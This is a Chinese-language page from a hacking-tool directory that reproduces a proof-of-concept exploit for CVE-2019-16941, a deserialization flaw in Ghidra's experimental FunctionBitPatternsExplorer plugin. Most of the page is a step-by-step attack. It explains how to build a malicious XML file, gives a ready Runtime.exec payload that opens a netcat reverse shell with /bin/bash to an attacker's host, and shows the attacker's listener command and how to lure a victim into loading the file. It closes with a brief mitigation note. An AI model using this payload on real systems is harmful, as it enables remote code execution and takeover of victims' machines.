Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-16941 — CVE-2019-16941 的 PoC | Kitploit
工具/GitHubGitHub/purpleracc00n/cve-2019-16941
漏洞分析代码分析漏洞利用逆向工程Payload 开发二进制利用
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

CVE-2019-16941 的 PoC

查看仓库
476年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-16941

概念验证:

该漏洞需要多个且相对不大可能同时满足的条件才能被触发,这一事实限制了其可利用性。然而,考虑到它可能导致任意代码执行,构建有效载荷所需的努力和理解很少。

创建有效载荷:

为了创建要在目标上运行的有效载荷,可以使用 Ghidra 内置的一个脚本。要访问它,请点击“窗口”->“脚本管理器”,然后在您已添加到代码浏览器的任意二进制文件上运行“DumpFunctionPatternInfoScript.java”,使用默认参数(但请确保要保存输出的文件夹路径存在)。此脚本会生成一个 XML 输出文件,该文件之后将被加载到易受攻击的组件中。

图1 创建有效载荷模板

此 XML 模板可用于注入对象,该对象将被反序列化为 Java 代码并静默执行,而不会提醒用户。本质上,恶意代码将作为一个附加对象插入到 XML 文件的末尾,在 结束标签之前。以下是一个代表反向 Shell 的对象有效载荷示例:

<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

上述内容将被反序列化为以下 Java 代码:

Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

就有效载荷而言,选项是无限的,因为任何 Java 代码(甚至是复杂的恶意软件)都可以通过这种方式运行,只要它被正确序列化为 XMLDecoder 所需的 XML 格式。如果将有效载荷插入到模板中的其他位置(以进一步隐藏),则需要小心,因为它可能会在反序列化期间产生异常,从而提醒用户。

执行:

有效载荷执行的过程利用了 Ghidra 的图形用户界面,无法自动化。相反,它需要受害者的人工交互,这代表了漏洞利用所需满足的另一个条件。

要使此漏洞利用在受害者的计算机上生效,Ghidra 需要启用实验性插件“FunctionBitPatternsExplorer”。可以通过以下步骤实现:

图2 启用实验性插件

接下来,用户需要从“窗口”->“功能位模式资源管理器”打开该插件,并使用“读取 XML 文件”功能加载 XML 文件。然而,这给条件部分带来了另一个挑战。攻击者需要一种方式让用户将 XML 有效载荷下载到他的机器上。

回到受害者的视角,该功能不会让你在列表中看到 XML 文件,因此如果您的目录看起来是空的,那是正常的。如果您开始在“文件名”文本框中输入它们的名称,它们将显示出来,但重要的是不要选择任何文件,而是将选择器指向目录,因为它会自动选取文件。

图3 执行有效载荷

在用户点击“确定”之前,攻击者(joe)需要在他的远程主机上运行一个监听器,并等待连接。这可以通过以下方式轻松实现:

$ nc -lvnp <listening_port>

执行后,结果如下所示:

图4 反向 Shell

由于涉及多种条件,该漏洞极不可能在大规模范围内被利用。在提供新补丁之前,最佳的缓解措施是禁用(或一开始就不启用)受影响的实验性插件。然而,如果必须使用该插件,XML 文件应来自可信来源。

下载工具